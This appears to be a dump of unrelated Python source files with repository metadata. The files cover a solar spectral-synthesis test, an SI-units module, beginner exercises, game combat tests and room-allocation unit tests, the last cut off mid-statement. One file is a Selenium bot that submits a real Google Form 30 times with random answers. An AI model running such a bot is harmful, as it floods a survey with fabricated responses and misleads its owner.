aasensio/hazel

899c8461324061bacc14da7165b9ac7eed35c96b

[ "MIT" ]

6

2016-01-11T05:03:00.000Z

2018-08-31T11:13:24.000Z

runPy/test.py

aasensio/hazel

899c8461324061bacc14da7165b9ac7eed35c96b

[ "MIT" ]

12

2017-04-22T16:10:43.000Z

2021-01-11T14:03:59.000Z

runPy/test.py

aasensio/hazel

899c8461324061bacc14da7165b9ac7eed35c96b

[ "MIT" ]

4

2016-02-25T19:35:07.000Z

2018-10-01T17:12:52.000Z

import numpy as np from hazel import hazel import matplotlib.pyplot as pl import time out = hazel() synModeInput = 5 nSlabsInput = 3 B1Input = np.asarray([10.0,70.0,0.0]) B2Input = np.asarray([10.0,70.0,0.0]) hInput = 3.e0 tau1Input = 1.e0 tau2Input = 1.e0 transInput = 1 atomicPolInput = 1 magoptInput = 1 anglesInput = np.asarray([0.0,0.0,0.0]) nLambdaInput = 228 lambdaAxisInput = np.linspace(-1.5e0,2.5e0,nLambdaInput) dopplerWidthInput = 6.5e0 dopplerWidth2Input = 6.5e0 dampingInput = 0.e0 dopplerVelocityInput = -5.e0 dopplerVelocity2Input = 5.e0 ffInput = 0.e0 betaInput = 1.0 beta2Input = 1.0 nbarInput = np.asarray([0.0,0.0,0.0,0.0]) omegaInput = np.asarray([0.0,0.0,0.0,0.0]) normalization = 0 boundaryInput = np.zeros((nLambdaInput,4)) boundaryInput[:,0] = 4.098e-5 # Compute the Stokes parameters using many default parameters, using Allen's data [l, stokes, etaOutput, epsOutput] = out.synth(synModeInput, nSlabsInput, B1Input, B2Input, hInput, tau1Input, tau2Input, boundaryInput, transInput, atomicPolInput, magoptInput, anglesInput, nLambdaInput, lambdaAxisInput, dopplerWidthInput, dopplerWidth2Input, dampingInput, dopplerVelocityInput, dopplerVelocity2Input, ffInput, betaInput, beta2Input, nbarInput, omegaInput, normalization) synModeInput = 5 nSlabsInput = -2 B1Input = np.asarray([10.0,70.0,0.0]) B2Input = np.asarray([10.0,70.0,0.0]) hInput = 3.e0 tau1Input = 1.e0 tau2Input = 1.e0 transInput = 1 atomicPolInput = 1 magoptInput = 1 anglesInput = np.asarray([0.0,0.0,0.0]) nLambdaInput = 128 lambdaAxisInput = np.linspace(-1.5e0,2.5e0,nLambdaInput) dopplerWidthInput = 6.5e0 dopplerWidth2Input = 6.5e0 dampingInput = 0.e0 dopplerVelocityInput = -5.e0 dopplerVelocity2Input = 5.e0 ffInput = 0.e0 betaInput = 1.0 beta2Input = 1.0 nbarInput = np.asarray([0.0,0.0,0.0,0.0]) omegaInput = np.asarray([0.0,0.0,0.0,0.0]) normalization = 0 boundaryInput = np.zeros((nLambdaInput,4)) boundaryInput[:,0] = 4.098e-5 # Compute the Stokes parameters using many default parameters, using Allen's data [l2, stokes2, etaOutput2, epsOutput2] = out.synth(synModeInput, nSlabsInput, B1Input, B2Input, hInput, tau1Input, tau2Input, boundaryInput, transInput, atomicPolInput, magoptInput, anglesInput, nLambdaInput, lambdaAxisInput, dopplerWidthInput, dopplerWidth2Input, dampingInput, dopplerVelocityInput, dopplerVelocity2Input, ffInput, betaInput, beta2Input, nbarInput, omegaInput, normalization) # Now plot the Stokes parameters labels = ['I/Imax','Q/Imax','U/Imax','V/Imax'] pl.close('all') f, ax = pl.subplots(ncols=2, nrows=2, figsize=(8,6)) ax = ax.flatten() for i in range(4): ax[i].plot(l - 10829.0911, stokes[i,:], 'o') ax[i].plot(l2 - 10829.0911, stokes2[i,:]) ax[i].set_xlabel('Wavelength [A]') ax[i].set_ylabel(labels[i]) pl.tight_layout() pl.show() l, stokes, RF = out.synth_RF(['v1'], 1e-3, synModeInput, nSlabsInput, B1Input, B2Input, hInput, tau1Input, tau2Input, boundaryInput, transInput, atomicPolInput, magoptInput, anglesInput, nLambdaInput, lambdaAxisInput, dopplerWidthInput, dopplerWidth2Input, dampingInput, dopplerVelocityInput, dopplerVelocity2Input, ffInput, betaInput, beta2Input, nbarInput, omegaInput, normalization)

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null

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1

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1

0

null

0

7

a633e3a67cfb4d4b813ffc85c10665f337dab548

3,773

py

Python

PyUnits/quantities/SIUnits.py

AngheloAlf/PyUnits

b78910c06a7176d02d3b2d63ea4ef905837532ae

[ "MIT" ]

null

PyUnits/quantities/SIUnits.py

AngheloAlf/PyUnits

b78910c06a7176d02d3b2d63ea4ef905837532ae

[ "MIT" ]

null

PyUnits/quantities/SIUnits.py

AngheloAlf/PyUnits

b78910c06a7176d02d3b2d63ea4ef905837532ae

[ "MIT" ]

null

from __future__ import annotations from ..TypesHelper import Number_t from . import BaseQuantities from ..unitRepresentation import Units from ..prefixes import SIPrefixes def meterUnit(value: Number_t, *, exp10: int=0, prefix: str="", power: Number_t=1): unit = BaseQuantities.LengthUnit(power=power) exp = SIPrefixes.magnitudeFactor(prefix, unit.defaultPrefix)*power + exp10 if not isinstance(exp, int): raise RuntimeError() return Units.ValueUnits(value, unit, exp) def centimeterUnit(value: Number_t, *, exp10: int=0, power: Number_t=1): return meterUnit(value, exp10=exp10, prefix="c", power=power) def millimeterUnit(value: Number_t, *, exp10: int=0, power: Number_t=1): return meterUnit(value, exp10=exp10, prefix="m", power=power) def kilometerUnit(value: Number_t, *, exp10: int=0, power: Number_t=1): return meterUnit(value, exp10=exp10, prefix="k", power=power) def hectareUnit(value: Number_t, *, exp10: int=0): result = meterUnit(value, exp10=exp10+4, power=2) return result def litreUnit(value: Number_t, *, exp10: int=0): result = meterUnit(value, exp10=exp10-3, power=3) return result def gramUnit(value: Number_t, *, exp10: int=0, prefix: str="", power: Number_t=1): unit = BaseQuantities.MassUnit(power=power) exp = SIPrefixes.magnitudeFactor(prefix, unit.defaultPrefix)*power + exp10 if not isinstance(exp, int): raise RuntimeError() return Units.ValueUnits(value, unit, exp10) def kilogramUnit(value: Number_t, *, exp10: int=0, power: Number_t=1): return gramUnit(value, prefix="k", exp10=exp10, power=power) def tonneUnit(value: Number_t, *, exp10: int=0, power: Number_t=1): return kilogramUnit(value, exp10=exp10+3, power=power) def kelvinUnit(value: Number_t, *, exp10: int=0, prefix: str="", power: Number_t=1): unit = BaseQuantities.TemperatureUnit(power=power) exp = SIPrefixes.magnitudeFactor(prefix, unit.defaultPrefix)*power + exp10 if not isinstance(exp, int): raise RuntimeError() return Units.ValueUnits(value, unit, exp10) def secondUnit(value: Number_t, *, exp10: int=0, prefix: str="", power: Number_t=1): unit = BaseQuantities.TimeUnit(power=power) exp = SIPrefixes.magnitudeFactor(prefix, unit.defaultPrefix)*power + exp10 if not isinstance(exp, int): raise RuntimeError() return Units.ValueUnits(value, unit, exp10) def minuteUnit(value: Number_t, *, exp10: int=0, power: Number_t=1): return secondUnit(value*60, exp10=exp10, power=power) def hourUnit(value: Number_t, *, exp10: int=0, power: Number_t=1): return minuteUnit(value*60, exp10=exp10, power=power) def dayUnit(value: Number_t, *, exp10: int=0, power: Number_t=1): return hourUnit(value*24, exp10=exp10, power=power) def molUnit(value: Number_t, *, exp10: int=0, prefix: str="", power: Number_t=1): unit = BaseQuantities.SubstanceUnit(power=power) exp = SIPrefixes.magnitudeFactor(prefix, unit.defaultPrefix)*power + exp10 if not isinstance(exp, int): raise RuntimeError() return Units.ValueUnits(value, unit, exp10) def ampereUnit(value: Number_t, *, exp10: int=0, prefix: str="", power: Number_t=1): unit = BaseQuantities.ElectricCurrentUnit(power=power) exp = SIPrefixes.magnitudeFactor(prefix, unit.defaultPrefix)*power + exp10 if not isinstance(exp, int): raise RuntimeError() return Units.ValueUnits(value, unit, exp10) def candelaUnit(value: Number_t, *, exp10: int=0, prefix: str="", power: Number_t=1): unit = BaseQuantities.LuminousIntensityUnit(power=power) exp = SIPrefixes.magnitudeFactor(prefix, unit.defaultPrefix)*power + exp10 if not isinstance(exp, int): raise RuntimeError() return Units.ValueUnits(value, unit, exp10)

42.393258

85

0.714816

500

3,773

5.32

0.13

0.086842

0.076692

0.108647

0.785714

0.758271

0.735714

0

0.044842

0.154784

3,773

88

86

42.875

0.789276

0

0.42029

0

0.00106

0

1

0.246377

false

0

0.072464

0.115942

0.565217

0

null

0

1

0

null

0

1

0

1

0

8

a6b41edafffc31eaa17ab15198a94c3a1b29757a

174

py

Python

mundo 1/aula 7/exer9.py

jonatan098/cursopython

6e4cbaef6229e230fdbc66d80ec1b5a089887b0d

[ "MIT" ]

null

mundo 1/aula 7/exer9.py

jonatan098/cursopython

6e4cbaef6229e230fdbc66d80ec1b5a089887b0d

[ "MIT" ]

null

mundo 1/aula 7/exer9.py

jonatan098/cursopython

6e4cbaef6229e230fdbc66d80ec1b5a089887b0d

[ "MIT" ]

1

2020-02-22T17:21:05.000Z

n = int(input('digite um numero ')) print(f'a tabuada de {n} e :') print(f' {n*0} \n {n*1} \n {n*2} \n {n*3} \n {n*4} \n {n*5} \n {n*6} \n {n*7} \n {n*8} \n {n*9} \n {n*10}')

58

107

0.45977

47

174

1.702128

0.489362

0.25

0

0.085106

0.189655

174

3

107

58

0.48227

0

0.333333

0.765714

0

1

0

false

0

0.666667

0

1

null

1

0

1

0

1

0

1

0

null

0

1

0

7

a6fc6e832ce884a8060c3666ea4730d3b20ea092

75

py

Python

tests/unit/__init__.py

Onboard-Team/gltflib

1aef8e5edcd6336b170226b0666bf78f92f02ee9

[ "MIT" ]

56

2019-06-17T10:46:25.000Z

2022-03-30T14:48:36.000Z

tests/unit/__init__.py

Onboard-Team/gltflib

1aef8e5edcd6336b170226b0666bf78f92f02ee9

[ "MIT" ]

198

2019-11-15T03:33:25.000Z

2022-03-30T07:02:21.000Z

tests/unit/__init__.py

Onboard-Team/gltflib

1aef8e5edcd6336b170226b0666bf78f92f02ee9

[ "MIT" ]

11

2019-10-15T01:37:05.000Z

2022-03-24T12:11:12.000Z

from .test_gltf import TestGLTF from .test_gltf_model import TestGLTFModel

25

42

0.866667

11

75

5.636364

0.636364

0.258065

0.387097

0

0.106667

75

2

43

37.5

0.925373

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

7

471205cd3b7ef58ee1929e3ec0b1b0ed27e6c099

4,398

py

Python

osrsmath/tests/combat/test_dps.py

Palfore/OSRSmath

373eb1e7f9702b98de318b3c708084353626a177

[ "MIT" ]

5

2020-06-30T06:51:25.000Z

2021-11-16T01:04:48.000Z

osrsmath/tests/combat/test_dps.py

Palfore/OSRS-Combat

373eb1e7f9702b98de318b3c708084353626a177

[ "MIT" ]

15

2020-06-19T14:36:38.000Z

2021-04-16T16:17:08.000Z

osrsmath/tests/combat/test_dps.py

Palfore/OSRS-Combat

373eb1e7f9702b98de318b3c708084353626a177

[ "MIT" ]

null

# Please fill me when you test things manually! from osrsmath.skills.combat.fighter import Fighter, Player from osrsmath.skills.combat.items import ITEM_DATABASE import unittest MAXED = { 'attack': 99, 'strength': 99, 'defence': 99, } BASE_70s = { 'attack': 70, 'strength': 70, 'defence': 70, } class MeleeGearCalculations(unittest.TestCase): # Make a test for various gear setups: basic and special. # def test_basic_player(self): # fighter1 = Fighter.from_player(Player(MAXED, [ # 'Dragon scimitar', # 'Dragon sq shield', # ])) # fighter2 = Fighter.from_player(Player(BASE_70s, [ # 'Dragon scimitar', # 'Dragon sq shield', # ])) # assert len(fighter1.attacks) == 1 # attack1 = fighter1.attacks[0] # assert attack1.attack_type == 'slash' # assert attack1.attack_style == 'accurate' # self.assertEqual(attack1.max_hit(fighter1, fighter2), 22) # self.assertEqual(attack1.attack_roll(fighter1, fighter2), 14410) # self.assertEqual(attack1.defence_roll(fighter1, fighter2), 10179) # self.assertAlmostEqual(100*attack1.accuracy(fighter1, fighter2), 64.6762889) # assert len(fighter2.attacks) == 1 # attack2 = fighter2.attacks[0] # assert attack2.attack_type == 'slash' # assert attack2.attack_style == 'accurate' # self.assertEqual(attack2.max_hit(fighter2, fighter1), 16) # self.assertEqual(attack2.attack_roll(fighter2, fighter1), 10611) # self.assertEqual(attack2.defence_roll(fighter2, fighter1), 13572) # self.assertAlmostEqual(100*attack2.accuracy(fighter2, fighter1), 39.0886318) def test_basic_npc(self): from osrsmath.skills.combat.monsters import MONSTER_DATABASE fighter1 = Fighter.from_player(Player(MAXED, [ 'Dragon scimitar', 'Dragon sq shield', ])) fighter2 = Fighter.from_monster(MONSTER_DATABASE.find('Abyssal demon'), 'stab') assert len(fighter1.attacks) == 1 attack1 = fighter1.attacks[0] assert attack1.attack_type == 'slash' assert attack1.attack_style == 'accurate' self.assertEqual(attack1.max_hit(fighter1, fighter2), 22) self.assertEqual(attack1.attack_roll(fighter1, fighter2), 14410) self.assertEqual(attack1.defence_roll(fighter1, fighter2), 12096) self.assertAlmostEqual(100*attack1.accuracy(fighter1, fighter2), 58.0251197) assert len(fighter2.attacks) == 1 attack2 = fighter2.attacks[0] assert attack2.attack_type == 'stab' assert attack2.attack_style == 'aggressive' self.assertEqual(attack2.max_hit(fighter2, fighter1), 8) # self.assertEqual(attack2.attack_roll(fighter2, fighter1), 10611) # self.assertEqual(attack2.defence_roll(fighter2, fighter1), 13572) # self.assertAlmostEqual(100*attack2.accuracy(fighter2, fighter1), 39.0886318) def test_void_melee(self): pass def test_salve(self): pass def test_slayer(self): pass # class RangedGearCalculations(unittest.TestCase): # # Make a test for various gear setups: basic and special. # def test_normal(self): # fighter1 = Fighter.from_player(Player({ # 'attack': 99, # 'strength': 99, # 'defence': 99, # }, [ # 'Dragon scimitar' # ] # )) # fighter2 = Fighter.from_player(Player({ # 'attack': 70, # 'strength': 70, # 'defence': 70, # }, [ # 'Dragon scimitar' # ] # )) # print([a.summary(fighter1, fighter2) for a in fighter1.attacks]) # print([a.summary(fighter2, fighter1) for a in fighter2.attacks]) # # self.almostEqual() # def test_void_melee(self): # pass # def test_salve(self): # pass # def test_slayer(self): # pass # class MagicGearCalculations(unittest.TestCase): # # Make a test for various gear setups: basic and special. # def test_normal(self): # fighter1 = Fighter.from_player(Player({ # 'attack': 99, # 'strength': 99, # 'defence': 99, # }, [ # 'Dragon scimitar' # ] # )) # fighter2 = Fighter.from_player(Player({ # 'attack': 70, # 'strength': 70, # 'defence': 70, # }, [ # 'Dragon scimitar' # ] # )) # print([a.summary(fighter1, fighter2) for a in fighter1.attacks]) # print([a.summary(fighter2, fighter1) for a in fighter2.attacks]) # # self.almostEqual() # def test_void_melee(self): # pass # def test_salve(self): # pass # def test_slayer(self): # pass

28.374194

82

0.663938

505

4,398

5.681188

0.19604

0.031718

0.041478

0.056117

0.846288

0.825723

0.805507

0.736494

0

0.065644

0.199864

4,398

155

83

28.374194

0.749645

0.611642

0

0.075

0

0.079918

0

0.275

1

0.1

false

0.075

0.1

0

0.225

0

null

0

1

0

null

0

1

0

7

5b25ffb549f6b48a81471d5eddac84ff4bf8b237

4,355

py

Python

google forms bot/google-form-spambot3.py

Pabloespe/Python-algorithms

5d24e74f857afbe01db957c69d17bfe7abb45640

[ "MIT" ]

null

google forms bot/google-form-spambot3.py

Pabloespe/Python-algorithms

5d24e74f857afbe01db957c69d17bfe7abb45640

[ "MIT" ]

null

google forms bot/google-form-spambot3.py

Pabloespe/Python-algorithms

5d24e74f857afbe01db957c69d17bfe7abb45640

[ "MIT" ]

null

import time import random from selenium import webdriver aux=0 while(aux<30): chromedriver = "C:/Users/pablo/AppData/Local/Programs/Python/Python37-32/google form/chromedriver" driver = webdriver.Chrome(chromedriver) link = 'https://docs.google.com/forms/d/e/1FAIpQLSe6f_plp2wvQqq5slrHrLNWLGUJrFradUoqUdHpnFcd2DAZkA/viewform?usp=sf_link' driver.get(link) submit_xp = '//*[@id="mG61Hd"]/div/div[2]/div[3]/div[1]/div[1]/div/content/span' submit = driver.find_element_by_xpath(submit_xp) submit.click() time.sleep(2) xps = '//*[@id="mG61Hd"]/div/div[2]/div[2]/div[' xpm = ']/div[2]/div/content/div/label[' xpe = ']/div[2]/div/div[3]/div' submit_xp = '//*[@id="mG61Hd"]/div/div[2]/div[3]/div[1]/div[1]/div[2]/content/span' maxnum = [5,5,5,5,5] #number of choice for each questions num_ans = [] for i in range(0, len(maxnum)): num_ans.append(random.randint(4,maxnum[i])) nqT = len(maxnum) for i in range(2,nqT+1): x_p = xps +str(i)+xpm + str(num_ans[i-1]) + xpe print(x_p) #optional d = driver.find_element_by_xpath(x_p) d.click() #time.sleep(random.randint(1,2)) #change the speed of clicking by reducing sleep time time.sleep(0.1) submit = driver.find_element_by_xpath(submit_xp) submit.click() time.sleep(0.2) xps = '//*[@id="mG61Hd"]/div/div[2]/div[2]/div[' xpm = ']/div[2]/div/content/div/label[' xpe = ']/div[2]/div/div[3]/div' submit_xp = '//*[@id="mG61Hd"]/div/div[2]/div[3]/div[1]/div[1]/div[2]/content/span' maxnum = [5,5,5,5] #number of choice for each questions num_ans = [] for i in range(0, len(maxnum)): num_ans.append(random.randint(4,maxnum[i])) nqT = len(maxnum) for i in range(2,nqT+1): x_p = xps +str(i)+xpm + str(num_ans[i-1]) + xpe print(x_p) #optional d = driver.find_element_by_xpath(x_p) d.click() #time.sleep(random.randint(1,2)) #change the speed of clicking by reducing sleep time time.sleep(0.1) submit = driver.find_element_by_xpath(submit_xp) submit.click() time.sleep(0.2) xps = '//*[@id="mG61Hd"]/div/div[2]/div[2]/div[' xpm = ']/div[2]/div/content/div/label[' xpe = ']/div[2]/div/div[3]/div' submit_xp = '//*[@id="mG61Hd"]/div/div[2]/div[3]/div[1]/div[1]/div[2]/content/span' maxnum = [5,5,5,5,5,5,5,5] #number of choice for each questions num_ans = [] for i in range(0, len(maxnum)): num_ans.append(random.randint(4,maxnum[i])) nqT = len(maxnum) for i in range(2,nqT+1): x_p = xps +str(i)+xpm + str(num_ans[i-1]) + xpe print(x_p) #optional d = driver.find_element_by_xpath(x_p) d.click() #time.sleep(random.randint(1,2)) #change the speed of clicking by reducing sleep time time.sleep(0.1) submit = driver.find_element_by_xpath(submit_xp) submit.click() time.sleep(0.2) xps = '//*[@id="mG61Hd"]/div/div[2]/div[2]/div[' xpm = ']/div[2]/div/content/div/label[' xpe = ']/div[2]/div/div[3]/div' submit_xp = '//*[@id="mG61Hd"]/div/div[2]/div[3]/div[1]/div[1]/div[2]/content/span' maxnum = [5,5,5,5] #number of choice for each questions num_ans = [] for i in range(0, len(maxnum)): num_ans.append(random.randint(4,maxnum[i])) nqT = len(maxnum) for i in range(2,nqT+1): x_p = xps +str(i)+xpm + str(num_ans[i-1]) + xpe print(x_p) #optional d = driver.find_element_by_xpath(x_p) d.click() #time.sleep(random.randint(1,2)) #change the speed of clicking by reducing sleep time time.sleep(0.1) submit = driver.find_element_by_xpath(submit_xp) submit.click() time.sleep(0.1) xps = '//*[@id="mG61Hd"]/div/div[2]/div[2]/div[' xpm = ']/div[2]/div/content/div/label[' xpe = ']/div[2]/div/div[3]/div' submit_xp = '//*[@id="mG61Hd"]/div/div[2]/div[3]/div[1]/div[1]/div[2]/content/span' maxnum = [5,5,5] #number of choice for each questions num_ans = [] for i in range(0, len(maxnum)): num_ans.append(random.randint(4,maxnum[i])) nqT = len(maxnum) for i in range(2,nqT+1): x_p = xps +str(i)+xpm + str(num_ans[i-1]) + xpe print(x_p) #optional d = driver.find_element_by_xpath(x_p) d.click() #time.sleep(random.randint(1,2)) #change the speed of clicking by reducing sleep time time.sleep(0.1) xinput='//*[@id="mG61Hd"]/div/div[2]/div[2]/div[4]/div[2]/div/div[1]/div/div[1]/input' submit = driver.find_element_by_xpath(xinput) submit.send_keys('Anonimo') submit = driver.find_element_by_xpath(submit_xp) submit.click() time.sleep(0.2) aux=aux+1

29.033333

121

0.662457

798

4,355

3.513784

0.112782

0.048502

0.072397

0.059914

0.869116

0.858417

0.850571

0

0.046788

0.131343

4,355

150

122

29.033333

0.694422

0.143513

0

0.831776

0

0.084112

0.311776

0.275128

0

1

0

false

0

0.028037

0

0.028037

0.046729

0

null

0

1

0

1

0

null

0

7

75322c69d164a8b1249dd805b10076baf02130a3

95

py

Python

Aulas de Python Mundo 1/Curso Python #11 - Cores no terminal - Part 11.py

ErikDMCosta/Meu-Reposit-rio-do-Curso-de-Python-Mundo-1

085662603d1fc1963ea25e4b08ba887adc59fecd

[ "MIT" ]

null

Aulas de Python Mundo 1/Curso Python #11 - Cores no terminal - Part 11.py

ErikDMCosta/Meu-Reposit-rio-do-Curso-de-Python-Mundo-1

085662603d1fc1963ea25e4b08ba887adc59fecd

[ "MIT" ]

null

Aulas de Python Mundo 1/Curso Python #11 - Cores no terminal - Part 11.py

ErikDMCosta/Meu-Reposit-rio-do-Curso-de-Python-Mundo-1

085662603d1fc1963ea25e4b08ba887adc59fecd

[ "MIT" ]

null

a = 3 b = 5 print('Os valores são \033[32;44m{}\033[m e \033[31;44m{}\033[m!!!'.format(a, b))

19

81

0.568421

22

95

2.454545

0.681818

0.222222

0.259259

0

0.271605

0.147368

95

4

82

23.75

0.395062

0

0.333333

0.62766

0.234043

0

1

0

false

0

0.333333

1

0

null

1

0

1

0

1

0

1

0

1

0

null

0

8

7538214c4b0a06590a1c600ab0f6a6e94205daeb

21,291

py

Python

tests/test_dojo.py

BolajiOlajide/SpaceAllocator

562210eed7196cefaeb12bfae24823f8d7a2e094

[ "MIT" ]

1

2017-08-14T15:06:05.000Z

tests/test_dojo.py

BolajiOlajide/SpaceAllocator

562210eed7196cefaeb12bfae24823f8d7a2e094

[ "MIT" ]

null

tests/test_dojo.py

BolajiOlajide/SpaceAllocator

562210eed7196cefaeb12bfae24823f8d7a2e094

[ "MIT" ]

null

from os import path, sys import os import unittest from models.dojo import Dojo os.sys.path.append(path.dirname(path.dirname(path.abspath(__file__)))) class TestDojo(unittest.TestCase): """Test cases for the Dojo class""" def setUpClass(): if os.path.isfile('data/db/fellow.db'): os.remove(os.path.realpath("data/db/fellow.db")) if os.path.isfile('data/db/office.db'): os.remove(os.path.realpath("data/db/office.db")) if os.path.isfile('data/db/livingspace.db'): os.remove(os.path.realpath("data/db/livingspace.db")) if os.path.isfile('data/db/staff.db'): os.remove(os.path.realpath("data/db/staff.db")) def test_random_room(self): """Return None because there is no room currently""" rand_room = Dojo().get_random_room(Dojo().office_data) self.assertFalse(rand_room) def test_available_room(self): arg = { "<room_type>": 'OFFICE', "<room_name>": ['Orion', 'Meraki'] } Dojo().create_room(arg) available_rooms = Dojo().get_available_room(Dojo().office_data) isOrion = 'ORION' in available_rooms isMeraki = 'MERAKI' in available_rooms self.assertTrue(isMeraki) self.assertTrue(isOrion) def test_purge_office(self): arg = { "<room_type>": 'OFFICE', "<room_name>": ['Orion', 'Meraki'] } Dojo().create_room(arg) Dojo().purge() self.assertFalse('MERAKI' in Dojo().office_data) self.assertFalse('ORION' in Dojo().office_data) def test_purge_livingspace(self): arg = { "<room_type>": 'LIVINGSPACE', "<room_name>": ['Piper', 'Idanre'] } Dojo().create_room(arg) Dojo().purge() self.assertFalse('IDANRE' in Dojo().livingspace_data) self.assertFalse('PIPER' in Dojo().livingspace_data) def test_purge_fellow(self): arg = { "<person_fname>": "Bolaji", "<person_lname>": "Olajide", "<FELLOW/STAFF>": "FELLOW" } Dojo().add_person(arg) Dojo().purge() self.assertFalse('BOLAJI OLAJIDE' in Dojo().fellow_data) def test_purge_staff(self): arg = { "<person_fname>": "Percila", "<person_lname>": "Njira", "<FELLOW/STAFF>": "STAFF" } Dojo().add_person(arg) Dojo().purge() self.assertFalse('PERCILA NJIRA' in Dojo().staff_data) def test_existing_room(self): arg = { "<room_type>": 'OFFICE', "<room_name>": ['Pygo'] } Dojo().create_room(arg) arg = { "<room_type>": 'OFFICE', "<room_name>": ['Pygo'] } Dojo().create_room(arg) output = sys.stdout.getvalue().strip().split("\n")[-1] self.assertEqual(output, "The OFFICE, PYGO already exists!") def test_invalid_room(self): Dojo().purge() arg = { "<room_type>": 'CAR WASH', "<room_name>": ['Pygo'] } Dojo().create_room(arg) output = sys.stdout.getvalue().strip().split("\n")[-1] self.assertEqual( output, "Invalid Room Type. Room type can either be \'office\' or \'livingspace\'") def test_existing_staff(self): arg = { "<person_fname>": "Percila", "<person_lname>": "Njira", "<FELLOW/STAFF>": "STAFF" } Dojo().add_person(arg) arg = { "<person_fname>": "Percila", "<person_lname>": "Njira", "<FELLOW/STAFF>": "STAFF" } Dojo().add_person(arg) output = sys.stdout.getvalue().strip().split("\n")[-1] self.assertEqual(output, "The STAFF, PERCILA NJIRA already exists.") def test_existing_fellow(self): arg = { "<person_fname>": "Bolaji", "<person_lname>": "Olajide", "<FELLOW/STAFF>": "FELLOW" } Dojo().add_person(arg) arg = { "<person_fname>": "Bolaji", "<person_lname>": "Olajide", "<FELLOW/STAFF>": "FELLOW" } Dojo().add_person(arg) output = sys.stdout.getvalue().strip().split("\n")[-1] self.assertEqual(output, "The FELLOW, BOLAJI OLAJIDE already exists.") def test_invalid_position(self): arg = { "<person_fname>": "Bolaji", "<person_lname>": "Olajide", "<FELLOW/STAFF>": "CATERER" } Dojo().add_person(arg) output = sys.stdout.getvalue().strip().split("\n")[-1] self.assertEqual( output, "Error! Individual must be either a fellow or a staff.") def test_allocate_staff_no_office(self): Dojo().purge() arg = { "<person_fname>": "Bolaji", "<person_lname>": "Olajide", "<FELLOW/STAFF>": "STAFF", "<wants_accommodation>": "Y" } Dojo().add_person(arg) Dojo().allocate_room(arg) output = sys.stdout.getvalue().strip().split("\n")[-1] self.assertEqual( output, "There is currently no vacant office in the Dojo") def test_allocate_fellow_no_office(self): Dojo().purge() arg = { "<person_fname>": "Bolaji", "<person_lname>": "Olajide", "<FELLOW/STAFF>": "FELLOW", "<wants_accommodation>": "Y" } Dojo().add_person(arg) Dojo().allocate_room(arg) output = sys.stdout.getvalue().strip().split("\n")[-2] self.assertEqual( output, "There is currently no vacant office in the Dojo") def test_allocate_fellow_no_livingspace(self): arg = { "<person_fname>": "Bolaji", "<person_lname>": "Olajide", "<FELLOW/STAFF>": "FELLOW", "<wants_accommodation>": "Y" } Dojo().add_person(arg) Dojo().allocate_room(arg) output = sys.stdout.getvalue().strip().split("\n")[-1] self.assertEqual( output, "There is currently no vacant Living Space in the Dojo") def test_allocate_staff_with_accomodation(self): Dojo().purge() arg = { "<room_type>": 'OFFICE', "<room_name>": ['Orion'] } Dojo().create_room(arg) arg = { "<room_type>": 'LIVINGSPACE', "<room_name>": ['Piper'] } Dojo().create_room(arg) arg = { "<person_fname>": "Bolaji", "<person_lname>": "Olajide", "<FELLOW/STAFF>": "STAFF", "<wants_accommodation>": "Y" } Dojo().add_person(arg) Dojo().allocate_room(arg) output = sys.stdout.getvalue().strip().split("\n")[-1] output2 = sys.stdout.getvalue().strip().split("\n")[-2] self.assertEqual( output, "STAFF Members cannot be allocated Living Space.") self.assertEqual( output2, "BOLAJI OLAJIDE has been allocated the Office, ORION") def test_allocate_fellow_with_accomodation(self): Dojo().purge() arg = { "<room_type>": 'OFFICE', "<room_name>": ['Orion'] } Dojo().create_room(arg) arg = { "<room_type>": 'LIVINGSPACE', "<room_name>": ['Piper'] } Dojo().create_room(arg) arg = { "<person_fname>": "Bolaji", "<person_lname>": "Olajide", "<FELLOW/STAFF>": "FELLOW", "<wants_accommodation>": "Y" } Dojo().add_person(arg) Dojo().allocate_room(arg) output = sys.stdout.getvalue().strip().split("\n")[-1] output2 = sys.stdout.getvalue().strip().split("\n")[-2] self.assertEqual( output, "BOLAJI OLAJIDE has been allocated the Living Space, PIPER") self.assertEqual( output2, "BOLAJI OLAJIDE has been allocated the Office, ORION") def test_allocate_fellow_no_accomodation(self): Dojo().purge() arg = { "<room_type>": 'OFFICE', "<room_name>": ['Orion'] } Dojo().create_room(arg) arg = { "<person_fname>": "Bolaji", "<person_lname>": "Olajide", "<FELLOW/STAFF>": "FELLOW", "<wants_accommodation>": "N" } Dojo().add_person(arg) Dojo().allocate_room(arg) output = sys.stdout.getvalue().strip().split("\n")[-1] self.assertEqual( output, "BOLAJI OLAJIDE has been allocated the Office, ORION") def test_allocate_fellow_no_accomodation_no_office(self): Dojo().purge() arg = { "<person_fname>": "Bolaji", "<person_lname>": "Olajide", "<FELLOW/STAFF>": "FELLOW", "<wants_accommodation>": "N" } Dojo().add_person(arg) Dojo().allocate_room(arg) output = sys.stdout.getvalue().strip().split("\n")[-1] self.assertEqual( output, "There is currently no vacant office in the Dojo") def test_allocate_staff_no_accomodation(self): Dojo().purge() arg = { "<room_type>": 'OFFICE', "<room_name>": ['Orion'] } Dojo().create_room(arg) arg = { "<person_fname>": "Bolaji", "<person_lname>": "Olajide", "<FELLOW/STAFF>": "STAFF", "<wants_accommodation>": "N" } Dojo().add_person(arg) Dojo().allocate_room(arg) output = sys.stdout.getvalue().strip().split("\n")[-1] self.assertEqual( output, "BOLAJI OLAJIDE has been allocated the Office, ORION") def test_print_non_existing_room(self): Dojo().purge() arg = { "<room_type>": 'OFFICE', "<room_name>": ['Orion', 'Meraki', 'Piper'] } Dojo().create_room(arg) arg = { "<room_name>": 'Nairobi' } Dojo().print_room(arg) output = sys.stdout.getvalue().strip().split("\n")[-1] self.assertEqual(output, "The Room, NAIROBI doesn't exist.") def test_print_empty_office(self): Dojo().purge() arg = { "<room_type>": 'OFFICE', "<room_name>": ['Orion', 'Meraki', 'Piper'] } Dojo().create_room(arg) arg = { "<room_name>": 'Orion' } Dojo().print_room(arg) output = sys.stdout.getvalue().strip().split("\n")[-1] self.assertEqual(output, "The Office ORION is empty") def test_print_room_office(self): Dojo().purge() arg = { "<room_type>": 'OFFICE', "<room_name>": ['Orion'] } Dojo().create_room(arg) arg = { "<person_fname>": "Bolaji", "<person_lname>": "Olajide", "<FELLOW/STAFF>": "FELLOW", "<wants_accommodation>": "N" } Dojo().add_person(arg) Dojo().allocate_room(arg) arg = { "<room_name>": 'Orion' } Dojo().print_room(arg) output = sys.stdout.getvalue().strip().split("\n")[-1] self.assertEqual(output, 